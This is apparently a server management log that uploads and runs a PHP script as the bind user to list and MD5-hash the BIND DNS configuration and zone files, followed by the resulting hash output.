MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-17 19:02:09: Establishing a connection
2026-06-17 19:02:09: 

PUT: /tmp/pkp394918

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-17 19:02:09: 

runuser -l bind -s /bin/bash -c '/tmp/pkp394918; rm /tmp/pkp394918'

2026-06-17 19:02:09: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-17 19:02:17: Establishing a connection
2026-06-17 19:02:17: 

PUT: /tmp/pkp298390

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-17 19:02:17: 

runuser -l bind -s /bin/bash -c '/tmp/pkp298390; rm /tmp/pkp298390'

2026-06-17 19:02:17: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
